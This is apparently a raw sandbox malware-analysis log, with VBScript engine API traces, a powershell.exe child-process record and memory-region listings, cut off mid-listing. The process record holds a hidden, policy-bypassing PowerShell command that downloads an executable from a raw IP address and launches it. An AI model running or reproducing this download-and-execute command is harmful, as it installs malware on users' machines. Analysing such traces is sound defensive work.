??2@YAPAXI@Z () returned 0x86bff10 [0089.608] malloc (_Size=0x804) returned 0x83fc220 [0089.608] ??2@YAPAXI@Z () returned 0x83fa238 [0089.608] ??3@YAXPAX@Z () returned 0x2d0001 [0089.608] ??2@YAPAXI@Z () returned 0x1129340 [0089.608] ??3@YAXPAX@Z () returned 0xffff0001 [0089.608] free (_Block=0x1197838) [0089.608] free (_Block=0x844c5d0) [0089.608] free (_Block=0x83d9df8) [0089.608] ??2@YAPAXI@Z () returned 0x86bff10 [0089.608] ??2@YAPAXI@Z () returned 0x119e138 [0089.608] IUnknown:AddRef (This=0x11977a8) returned 0x6 [0089.609] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x1549a8 | out: ppvObject=0x1549a8*=0x11977a8) returned 0x0 [0089.609] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="stryn", grfdex=0x8, pid=0x1549c4 | out: pid=0x1549c4*=1395232) returned 0x80020006 [0089.609] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="stryn", grfdex=0x8, pid=0x15491c | out: pid=0x15491c*=-1) returned 0x80020006 [0089.609] GetCurrentThreadId () returned 0xd44 [0089.609] IUnknown:Release (This=0x11977a8) returned 0x6 [0089.609] ??3@YAXPAX@Z () returned 0x160001 [0089.609] ??3@YAXPAX@Z () returned 0x560001 [0089.609] ??3@YAXPAX@Z () returned 0xffff0001 [0089.609] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154c94 | out: ppvObject=0x154c94*=0x11977a8) returned 0x0 [0089.609] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="varforst", grfdex=0x8, pid=0x154cb0 | out: pid=0x154cb0*=1395980) returned 0x80020006 [0089.609] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="varforst", grfdex=0x8, pid=0x154c08 | out: pid=0x154c08*=-1) returned 0x80020006 [0089.610] GetCurrentThreadId () returned 0xd44 [0089.610] IUnknown:Release (This=0x11977a8) returned 0x5 [0089.610] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154c94 | out: ppvObject=0x154c94*=0x11977a8) returned 0x0 [0089.610] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="jsiweu", grfdex=0x8, pid=0x154cb0 | out: pid=0x154cb0*=1395980) returned 0x80020006 [0089.610] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="jsiweu", grfdex=0x8, pid=0x154c08 | out: pid=0x154c08*=-1) returned 0x80020006 [0089.610] GetCurrentThreadId () returned 0xd44 [0089.610] IUnknown:Release (This=0x11977a8) returned 0x5 [0089.610] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154c94 | out: ppvObject=0x154c94*=0x11977a8) returned 0x0 [0089.610] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="mreu98y43rh", grfdex=0x8, pid=0x154cb0 | out: pid=0x154cb0*=1395980) returned 0x80020006 [0089.610] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="mreu98y43rh", grfdex=0x8, pid=0x154c08 | out: pid=0x154c08*=-1) returned 0x80020006 [0089.610] GetCurrentThreadId () returned 0xd44 [0089.610] IUnknown:Release (This=0x11977a8) returned 0x5 [0089.611] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154c94 | out: ppvObject=0x154c94*=0x11977a8) returned 0x0 [0089.611] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="iwywbjd37", grfdex=0x8, pid=0x154cb0 | out: pid=0x154cb0*=1395980) returned 0x80020006 [0089.611] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="iwywbjd37", grfdex=0x8, pid=0x154c08 | out: pid=0x154c08*=-1) returned 0x80020006 [0089.611] GetCurrentThreadId () returned 0xd44 [0089.611] IUnknown:Release (This=0x11977a8) returned 0x5 [0089.611] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154c94 | out: ppvObject=0x154c94*=0x11977a8) returned 0x0 [0089.611] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="fogeghehdety5", grfdex=0x8, pid=0x154cb0 | out: pid=0x154cb0*=1395980) returned 0x80020006 [0089.612] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="fogeghehdety5", grfdex=0x8, pid=0x154c08 | out: pid=0x154c08*=-1) returned 0x80020006 [0089.612] GetCurrentThreadId () returned 0xd44 [0089.612] IUnknown:Release (This=0x11977a8) returned 0x5 [0089.612] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154c94 | out: ppvObject=0x154c94*=0x11977a8) returned 0x0 [0089.613] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="vjsjuvwiog", grfdex=0x8, pid=0x154cb0 | out: pid=0x154cb0*=1395980) returned 0x80020006 [0089.613] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="vjsjuvwiog", grfdex=0x8, pid=0x154c08 | out: pid=0x154c08*=-1) returned 0x80020006 [0089.613] GetCurrentThreadId () returned 0xd44 [0089.613] IUnknown:Release (This=0x11977a8) returned 0x5 [0089.613] ??2@YAPAXI@Z () returned 0x86bff10 [0089.613] malloc (_Size=0x804) returned 0x83fc220 [0089.613] ??2@YAPAXI@Z () returned 0x83fa238 [0089.613] ??3@YAXPAX@Z () returned 0x2d0001 [0089.613] ??2@YAPAXI@Z () returned 0x1129340 [0089.613] ??3@YAXPAX@Z () returned 0xffff0001 [0089.613] free (_Block=0x1197838) [0089.613] free (_Block=0x844c5d0) [0089.613] free (_Block=0x83d9df8) [0089.613] ??2@YAPAXI@Z () returned 0x86bff10 [0089.613] ??2@YAPAXI@Z () returned 0x119e138 [0089.613] IUnknown:AddRef (This=0x11977a8) returned 0x6 [0089.613] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x1549fc | out: ppvObject=0x1549fc*=0x11977a8) returned 0x0 [0089.614] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="writer", grfdex=0x8, pid=0x154a18 | out: pid=0x154a18*=1395316) returned 0x80020006 [0089.614] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="writer", grfdex=0x8, pid=0x154970 | out: pid=0x154970*=-1) returned 0x80020006 [0089.614] GetCurrentThreadId () returned 0xd44 [0089.614] IUnknown:Release (This=0x11977a8) returned 0x6 [0089.614] longjmp () [0089.614] FindResourceA (hModule=0x66890000, lpName=0x1b, lpType=0x6) returned 0x4850640 [0089.614] LoadResource (hModule=0x66890000, hResInfo=0x4850640) returned 0x4850f14 [0089.614] LockResource (hResData=0x4850f14) returned 0x4850f14 [0089.614] SizeofResource (hModule=0x66890000, hResInfo=0x4850640) returned 0xc8 [0089.614] FindResourceA (hModule=0x66890000, lpName=0x101, lpType=0x6) returned 0x48506e0 [0089.614] LoadResource (hModule=0x66890000, hResInfo=0x48506e0) returned 0x48521d8 [0089.614] LockResource (hResData=0x48521d8) returned 0x48521d8 [0089.615] SizeofResource (hModule=0x66890000, hResInfo=0x48506e0) returned 0xd2 [0089.615] SysStringLen (param_1="Object required") returned 0xf [0089.615] free (_Block=0x1112b18) [0089.615] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x154a90 | out: ppvObject=0x154a90*=0x83fd368) returned 0x0 [0089.615] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x668c4198*(Data1=0xc5598e60, Data2=0xb307, Data3=0x11d1, Data4=([0]=0xb2, [1]=0x7d, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0xc3, [6]=0xfb, [7]=0xfb)), ppvObject=0x154a8c | out: ppvObject=0x154a8c*=0x0) returned 0x80004002 [0089.615] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x154a88 | out: ppvObject=0x154a88*=0x83fd378) returned 0x0 [0089.615] VBScriptEngine5:IUnknown:Release (This=0x83fd368) returned 0x6 [0089.615] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd378, guidService=0x6689fedc*(Data1=0x4717cc40, Data2=0xbcb9, Data3=0x11d0, Data4=([0]=0x93, [1]=0x36, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x154a90 | out: ppvObject=0x154a90*=0x0) returned 0x80004002 [0089.615] VBScriptEngine5:IUnknown:Release (This=0x83fd378) returned 0x5 [0089.615] ??2@YAPAXI@Z () returned 0x1197838 [0089.615] SysStringLen (param_1="Microsoft VBScript runtime error") returned 0x20 [0089.615] SysStringLen (param_1="Object required: 'writer'") returned 0x19 [0089.615] IActiveScriptSite:OnScriptError (in: This=0x83fd368, pscripterror=0x1197838 | out: pscripterror=0x1197838*=0x6689473c) returned 0x1 [0089.615] SysStringLen (param_1="Microsoft VBScript runtime error") returned 0x20 [0089.615] SysStringLen (param_1="Object required: 'writer'") returned 0x19 [0089.615] VBScriptEngine5:IUnknown:AddRef (This=0x1197838) returned 0x3 [0089.617] ??3@YAXPAX@Z () returned 0x160001 [0089.617] longjmp () [0089.617] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x154d7c | out: ppvObject=0x154d7c*=0x83fd368) returned 0x0 [0089.617] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x668c4198*(Data1=0xc5598e60, Data2=0xb307, Data3=0x11d1, Data4=([0]=0xb2, [1]=0x7d, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0xc3, [6]=0xfb, [7]=0xfb)), ppvObject=0x154d78 | out: ppvObject=0x154d78*=0x0) returned 0x80004002 [0089.617] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x154d74 | out: ppvObject=0x154d74*=0x83fd378) returned 0x0 [0089.617] VBScriptEngine5:IUnknown:Release (This=0x83fd368) returned 0x6 [0089.617] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd378, guidService=0x6689fedc*(Data1=0x4717cc40, Data2=0xbcb9, Data3=0x11d0, Data4=([0]=0x93, [1]=0x36, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x154d7c | out: ppvObject=0x154d7c*=0x0) returned 0x80004002 [0089.617] VBScriptEngine5:IUnknown:Release (This=0x83fd378) returned 0x5 [0089.618] IActiveScriptSite:OnScriptError (in: This=0x83fd368, pscripterror=0x1197838 | out: pscripterror=0x1197838*=0x6689473c) returned 0x1 [0089.618] SysStringLen (param_1="Microsoft VBScript runtime error") returned 0x20 [0089.618] SysStringLen (param_1="Object required: 'writer'") returned 0x19 [0089.618] VBScriptEngine5:IUnknown:AddRef (This=0x1197838) returned 0x3 [0089.622] IActiveScriptSite:OnLeaveScript (This=0x83fd368) returned 0x0 [0089.622] ??3@YAXPAX@Z () returned 0xd40001 [0089.622] ISystemDebugEventFire:IsActive (This=0x6bcaca0) returned 0x1 [0089.622] ??3@YAXPAX@Z () returned 0x260001 [0089.622] ??3@YAXPAX@Z () returned 0x560001 [0089.622] ??3@YAXPAX@Z () returned 0xffff0001 [0089.622] VBScriptEngine5:IUnknown:Release (This=0x83fd368) returned 0x4 [0089.622] VBScriptEngine5:IUnknown:Release (This=0x83fd368) returned 0x3 [0089.622] ??3@YAXPAX@Z () returned 0x6b0001 [0089.622] IActiveScriptSite:GetDocVersionString (in: This=0x83fd368, pbstrVersion=0x1 | out: pbstrVersion=0x1) returned 0x80004001 [0089.623] VBScriptEngine5:IUnknown:Release (This=0x83fd390) returned 0x1 [0089.623] VBScriptEngine5:IActiveScript:SetScriptState (This=0x11a9bc8, ss=0) returned 0x0 [0089.623] GetUserDefaultLCID () returned 0x409 [0089.623] GetACP () returned 0x4e4 [0089.623] IUnknown:Release (This=0x11977a8) returned 0x2 [0089.623] ??3@YAXPAX@Z () returned 0x3c0001 [0089.623] ??3@YAXPAX@Z () returned 0x840001 [0089.623] ??3@YAXPAX@Z () returned 0x4d0001 [0089.623] ??3@YAXPAX@Z () returned 0x110001 [0089.623] ??3@YAXPAX@Z () returned 0xc0001 [0089.623] ??3@YAXPAX@Z () returned 0x70001 [0089.624] DOMDocument:IUnknown:Release (This=0x1112bf0) returned 0x0 [0089.624] ??3@YAXPAX@Z () returned 0x530001 [0089.624] DOMDocument:IUnknown:Release (This=0x1112950) returned 0x0 [0089.624] ??3@YAXPAX@Z () returned 0x6e0001 [0089.629] DOMDocument:IUnknown:Release (This=0x1112980) returned 0x1 [0089.629] DOMDocument:IUnknown:Release (This=0x1112980) returned 0x0 [0089.629] ??3@YAXPAX@Z () returned 0x1a0001 [0089.634] free (_Block=0x11a9dd0) [0089.634] free (_Block=0x87928c0) [0089.634] free (_Block=0x8785300) [0089.634] free (_Block=0x87908b0) [0089.634] free (_Block=0x847d748) [0089.634] free (_Block=0x119a768) [0089.634] free (_Block=0x84743a8) [0089.635] free (_Block=0x872d3c8) [0089.635] free (_Block=0x83d9ce0) [0089.635] ??3@YAXPAX@Z () returned 0xa40001 [0089.635] ??3@YAXPAX@Z () returned 0x570001 [0089.635] ISystemDebugEventFire:EndSession (This=0x6bcaca0) returned 0x0 [0089.635] IUnknown:Release (This=0x6bcaca0) returned 0x1 [0089.635] ??3@YAXPAX@Z () returned 0xca0001 [0089.635] ??3@YAXPAX@Z () returned 0x1 [0089.635] ??3@YAXPAX@Z () returned 0x680001 [0089.635] ??3@YAXPAX@Z () returned 0x620001 [0089.635] VBScriptEngine5:IUnknown:Release (This=0x83fd374) returned 0x2 [0089.635] IUnknown:Release (This=0x6bcaca0) returned 0x0 [0089.636] IActiveScriptSite:GetDocVersionString (in: This=0x83fd368, pbstrVersion=0x0 | out: pbstrVersion=0x0) returned 0x80004001 [0089.636] VBScriptEngine5:IUnknown:Release (This=0x83fd368) returned 0x1 [0089.636] VBScriptEngine5:IUnknown:Release (This=0x11a9bcc) returned 0x2 [0089.636] VBScriptEngine5:IActiveScript:Close (This=0x11a9bc8) returned 0x0 [0089.636] ??3@YAXPAX@Z () returned 0x5c0001 [0089.636] ??3@YAXPAX@Z () returned 0xf20001 [0089.636] VBScriptEngine5:IUnknown:Release (This=0x11a9bc8) returned 0x0 [0089.636] ??3@YAXPAX@Z () returned 0xc50001 [0089.636] VBScriptEngine5:IActiveScript:Close (This=0x11a99c0) returned 0x0 [0089.637] ??3@YAXPAX@Z () returned 0x200001 [0089.637] ??3@YAXPAX@Z () returned 0x560001 [0089.637] ??3@YAXPAX@Z () returned 0xae0001 [0089.637] VBScriptEngine5:IUnknown:Release (This=0x11a99c0) returned 0x0 [0089.637] ??3@YAXPAX@Z () returned 0x840001 [0253.841] DllCanUnloadNow () returned 0x0 [0253.860] DllCanUnloadNow () returned 0x0 [0254.485] free (_Block=0x83d5e70) [0254.490] ??3@YAXPAX@Z () returned 0x3e0001 [0254.490] ??3@YAXPAX@Z () returned 0x20001 [0254.491] ??3@YAXPAX@Z () returned 0x1 [0254.492] ??3@YAXPAX@Z () returned 0x1 [0254.492] free (_Block=0x5be9c8) Thread: id = 15 os_tid = 0xe2c Thread: id = 16 os_tid = 0xe30 Thread: id = 17 os_tid = 0xe38 Thread: id = 18 os_tid = 0xe44 Thread: id = 27 os_tid = 0xecc Thread: id = 29 os_tid = 0xeec Thread: id = 104 os_tid = 0xf8c Thread: id = 135 os_tid = 0xb80 Thread: id = 136 os_tid = 0xb7c Thread: id = 236 os_tid = 0x520 Thread: id = 250 os_tid = 0xa48 Thread: id = 251 os_tid = 0xa4c Thread: id = 253 os_tid = 0xa5c Process: id = "2" image_name = "powershell.exe" filename = "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.exe" page_root = "0x364b6000" os_pid = "0xe48" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0xd40" cmd_line = "C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command \"(New-Object System.Net.WebClient).DownloadFile('httP://13.92.100.208/doc/doc.exe','C:\\Users\\kEecfMwgj\\AppData\\Roaming\\doc.exe');Start-Process 'C:\\Users\\kEecfMwgj\\AppData\\Roaming\\doc.exe'\"" cur_dir = "C:\\Users\\kEecfMwgj\\Desktop\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e957" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 600 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 601 start_va = 0x30000 end_va = 0x31fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 602 start_va = 0x40000 end_va = 0x40fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 603 start_va = 0x60000 end_va = 0x9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000060000" filename = "" Region: id = 604 start_va = 0x100000 end_va = 0x13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000100000" filename = "" Region: id = 605 start_va = 0xc40000 end_va = 0xcaafff monitored = 0 entry_point = 0xc4d330 region_type = mapped_file name = "powershell.exe" filename = "\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.exe") Region: id = 606 start_va = 0x776e0000 end_va = 0x77888fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 607 start_va = 0x778c0000 end_va = 0x77a3ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 608 start_va = 0x7efb0000 end_va = 0x7efd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 609 start_va = 0x7efdb000 end_va = 0x7efddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 610 start_va = 0x7efde000 end_va = 0x7efdefff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 611 start_va = 0x7efdf000 end_va = 0x7efdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 612 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 613 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 614 start_va = 0x7fff0000 end_va = 0x7fffffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 617 start_va = 0x50000 end_va = 0x53fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 618 start_va = 0xa0000 end_va = 0xa0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000a0000" filename = "" Region: id = 619 start_va = 0x2c0000 end_va = 0x33ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002c0000" filename = "" Region: id = 620 start_va = 0x74b70000 end_va = 0x74b77fff monitored = 0 entry_point = 0x74b720f8 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 621 start_va = 0x74b80000 end_va = 0x74bdbfff monitored = 0 entry_point = 0x74bbf9f4 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 622 start_va = 0x74be0000 end_va = 0x74c1efff monitored = 0 entry_point = 0x74c0e088 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 623 start_va = 0x774c0000 end_va = 0x775defff monitored = 0 entry_point = 0x774d5340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 624 start_va = 0x772b0000 end_va = 0x773bffff monitored = 0 entry_point = 0x772c3283 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 625 start_va = 0x774c0000 end_va = 0x775defff monitored = 0 entry_point = 0x774d5340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 626 start_va = 0x774c0000 end_va = 0x775defff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000774c0000" filename = "" Region: id = 627 start_va = 0x775e0000 end_va = 0x776d9fff monitored = 0 entry_point = 0x775fa2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 628 start_va = 0x775e0000 end_va = 0x776d9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000775e0000" filename = "" Region: id = 629 start_va = 0x340000 end_va = 0x5bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000340000" filename = "" Region: id = 630 start_va = 0x772b0000 end_va = 0x773bffff monitored = 0 entry_point = 0x772c3283 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 631 start_va = 0x773e0000 end_va = 0x77426fff monitored = 0 entry_point = 0x773e74c1 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 632 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 633 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 634 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 637 start_va = 0x20000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 638 start_va = 0x140000 end_va = 0x1a6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 639 start_va = 0x77180000 end_va = 0x7721ffff monitored = 0 entry_point = 0x771949e5 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 640 start_va = 0x76b90000 end_va = 0x76c3bfff monitored = 0 entry_point = 0x76b9a472 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 641 start_va = 0x77490000 end_va = 0x774a8fff monitored = 0 entry_point = 0x77494975 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 642 start_va = 0x769e0000 end_va = 0x76acffff monitored = 0 entry_point = 0x769f0569 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 643 start_va = 0x75410000 end_va = 0x7546ffff monitored = 0 entry_point = 0x7542a3b3 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 644 start_va = 0x75400000 end_va = 0x7540bfff monitored = 0 entry_point = 0x754010e1 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 645 start_va = 0x752d0000 end_va = 0x752e3fff monitored = 0 entry_point = 0x752d1da9 region_type = mapped_file name = "atl.dll" filename = "\\Windows\\SysWOW64\\atl.dll" (normalized: "c:\\windows\\syswow64\\atl.dll") Region: id = 646 start_va = 0x766d0000 end_va = 0x767cffff monitored = 0 entry_point = 0x766eb6ed region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 647 start_va = 0x76270000 end_va = 0x762fffff monitored = 0 entry_point = 0x76286343 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 648 start_va = 0x77890000 end_va = 0x77899fff monitored = 0 entry_point = 0x778936a0 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 649 start_va = 0x76300000 end_va = 0x7639cfff monitored = 0 entry_point = 0x76333fd7 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 650 start_va = 0x763d0000 end_va = 0x7652bfff monitored = 0 entry_point = 0x7641ba3d region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll") Region: id = 651 start_va = 0x76ad0000 end_va = 